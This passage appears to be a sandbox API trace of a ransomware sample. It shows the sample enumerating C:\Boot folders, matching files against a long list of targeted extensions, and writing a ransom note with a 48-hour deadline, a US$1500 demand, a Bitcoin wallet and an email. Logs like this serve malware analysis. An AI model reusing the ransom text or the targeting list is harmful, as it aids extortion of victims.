PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.298] lstrlenA (lpString="*.lgb") returned 5 [0057.298] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.299] lstrlenA (lpString="*.mov") returned 5 [0057.299] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.299] lstrlenA (lpString="*.xdw") returned 5 [0057.299] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.299] lstrlenA (lpString="*.ods") returned 5 [0057.299] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.299] lstrlenA (lpString="*.wav") returned 5 [0057.299] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.299] lstrlenA (lpString="*.mp3") returned 5 [0057.299] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.299] lstrlenA (lpString="*.aiff") returned 6 [0057.299] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.299] lstrlenA (lpString="*.flac") returned 6 [0057.299] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.299] lstrlenA (lpString="*.m4a") returned 5 [0057.299] PathMatchSpecA (pszFile="C:\\Boot\\fr-FR\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.299] lstrlenA (lpString="*.csv") returned 5 [0057.299] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.299] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.299] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0057.299] lstrcmpA (lpString1=".", lpString2="hu-HU") returned -1 [0057.299] lstrcmpA (lpString1="..", lpString2="hu-HU") returned -1 [0057.299] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.299] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="hu-HU" | out: lpString1="C:\\Boot\\hu-HU") returned="C:\\Boot\\hu-HU" [0057.299] lstrlenA (lpString="C:\\Boot\\hu-HU") returned 13 [0057.299] FindFirstFileA (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.300] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.300] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.300] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.300] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.300] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.300] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.300] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.300] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.300] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.300] PathFindFileNameA (pszPath="C:\\Boot\\hu-HU\\*.*") returned="*.*" [0057.300] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\hu-HU\\" | out: lpString1="C:\\Boot\\hu-HU\\") returned="C:\\Boot\\hu-HU\\" [0057.300] PathAddBackslashA (in: pszPath="C:\\Boot\\hu-HU\\" | out: pszPath="C:\\Boot\\hu-HU\\") returned="" [0057.300] lstrcatA (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\hu-HU\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\hu-HU\\HOW TO DECRYPT FILES.txt" [0057.300] GetFileAttributesA (lpFileName="C:\\Boot\\hu-HU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\hu-hu\\how to decrypt files.txt")) returned 0xffffffff [0057.300] CreateFileA (lpFileName="C:\\Boot\\hu-HU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\hu-hu\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.301] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.301] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.302] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.302] CloseHandle (hObject=0x84) returned 1 [0057.302] lstrcatA (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned="C:\\Boot\\hu-HU\\bootmgr.exe.mui" [0057.302] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.302] lstrlenA (lpString="*.ems") returned 5 [0057.302] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.302] lstrlenA (lpString="*.db") returned 4 [0057.302] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.302] lstrlenA (lpString="*.dbf") returned 5 [0057.302] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.302] lstrlenA (lpString="*.myox") returned 6 [0057.302] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.302] lstrlenA (lpString="*.myo") returned 5 [0057.302] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.302] lstrlenA (lpString="*.qbw") returned 5 [0057.302] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.302] lstrlenA (lpString="*.qbb") returned 5 [0057.302] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.302] lstrlenA (lpString="*.qbm") returned 5 [0057.302] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.302] lstrlenA (lpString="*.qbo") returned 5 [0057.302] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.302] lstrlenA (lpString="*.qbx") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.303] lstrlenA (lpString="*.qba") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.303] lstrlenA (lpString="*.qby") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.303] lstrlenA (lpString="*.qbj") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.303] lstrlenA (lpString="*.ofx") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.303] lstrlenA (lpString="*.qif") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.303] lstrlenA (lpString="*.mye") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.303] lstrlenA (lpString="*.mbox") returned 6 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.303] lstrlenA (lpString="*.eml") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.303] lstrlenA (lpString="*.pst") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.303] lstrlenA (lpString="*.ost") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.303] lstrlenA (lpString="*.idx") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.303] lstrlenA (lpString="*.dbx") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.303] lstrlenA (lpString="*.sql") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.303] lstrlenA (lpString="*.mdb") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.303] lstrlenA (lpString="*.fdb") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.303] lstrlenA (lpString="*.wab") returned 5 [0057.303] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.304] lstrlenA (lpString="*.dat") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.304] lstrlenA (lpString="*.txt") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.304] lstrlenA (lpString="*.jpeg") returned 6 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.304] lstrlenA (lpString="*.jpg") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.304] lstrlenA (lpString="*.png") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.304] lstrlenA (lpString="*.php") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.304] lstrlenA (lpString="*.cs") returned 4 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.304] lstrlenA (lpString="*.cpp") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.304] lstrlenA (lpString="*.rar") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.304] lstrlenA (lpString="*.zip") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.304] lstrlenA (lpString="*.html") returned 6 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.304] lstrlenA (lpString="*.htm") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.304] lstrlenA (lpString="*.xlsx") returned 6 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.304] lstrlenA (lpString="*.xls") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.304] lstrlenA (lpString="*.mp4") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.304] lstrlenA (lpString="*.ppt") returned 5 [0057.304] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.304] lstrlenA (lpString="*.pptx") returned 6 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.305] lstrlenA (lpString="*.doc") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.305] lstrlenA (lpString="*.dot") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.305] lstrlenA (lpString="*.docx") returned 6 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.305] lstrlenA (lpString="*.7z") returned 4 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.305] lstrlenA (lpString="*.tar") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.305] lstrlenA (lpString="*.bz2") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.305] lstrlenA (lpString="*.gz") returned 4 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.305] lstrlenA (lpString="*.mkv") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.305] lstrlenA (lpString="*.eml") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.305] lstrlenA (lpString="*.msg") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.305] lstrlenA (lpString="*.edb") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.305] lstrlenA (lpString="*.accdb") returned 7 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.305] lstrlenA (lpString="*.odb") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.305] lstrlenA (lpString="*.java") returned 6 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.305] lstrlenA (lpString="*.asm") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.305] lstrlenA (lpString="*.pfx") returned 5 [0057.305] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.305] lstrlenA (lpString="*.pem") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.306] lstrlenA (lpString="*.p12") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.306] lstrlenA (lpString="*.gpg") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.306] lstrlenA (lpString="*.vsd") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.306] lstrlenA (lpString="*.odg") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.306] lstrlenA (lpString="*.raw") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.306] lstrlenA (lpString="*.nef") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.306] lstrlenA (lpString="*.svg") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.306] lstrlenA (lpString="*.psd") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.306] lstrlenA (lpString="*.vmx") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.306] lstrlenA (lpString="*.vmdk") returned 6 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.306] lstrlenA (lpString="*.vdi") returned 5 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.306] lstrlenA (lpString="*.lay6") returned 6 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.306] lstrlenA (lpString="*.mpeg") returned 6 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.306] lstrlenA (lpString="*.djvu") returned 6 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.306] lstrlenA (lpString="*.tiff") returned 6 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.306] lstrlenA (lpString="*.backup") returned 8 [0057.306] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.306] lstrlenA (lpString="*.pdf") returned 5 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.307] lstrlenA (lpString="*.cert") returned 6 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.307] lstrlenA (lpString="*.docm") returned 6 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.307] lstrlenA (lpString="*.xlsm") returned 6 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.307] lstrlenA (lpString="*.dwg") returned 5 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.307] lstrlenA (lpString="*.nd") returned 4 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.307] lstrlenA (lpString="*.tlg") returned 5 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.307] lstrlenA (lpString="*.lgb") returned 5 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.307] lstrlenA (lpString="*.mov") returned 5 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.307] lstrlenA (lpString="*.xdw") returned 5 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.307] lstrlenA (lpString="*.ods") returned 5 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.307] lstrlenA (lpString="*.wav") returned 5 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.307] lstrlenA (lpString="*.mp3") returned 5 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.307] lstrlenA (lpString="*.aiff") returned 6 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.307] lstrlenA (lpString="*.flac") returned 6 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.307] lstrlenA (lpString="*.m4a") returned 5 [0057.307] PathMatchSpecA (pszFile="C:\\Boot\\hu-HU\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.307] lstrlenA (lpString="*.csv") returned 5 [0057.307] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.307] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.308] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="it-IT", cAlternateFileName="")) returned 1 [0057.308] lstrcmpA (lpString1=".", lpString2="it-IT") returned -1 [0057.308] lstrcmpA (lpString1="..", lpString2="it-IT") returned -1 [0057.308] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.308] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="it-IT" | out: lpString1="C:\\Boot\\it-IT") returned="C:\\Boot\\it-IT" [0057.308] lstrlenA (lpString="C:\\Boot\\it-IT") returned 13 [0057.308] FindFirstFileA (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.309] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.309] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.309] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.309] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.309] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, 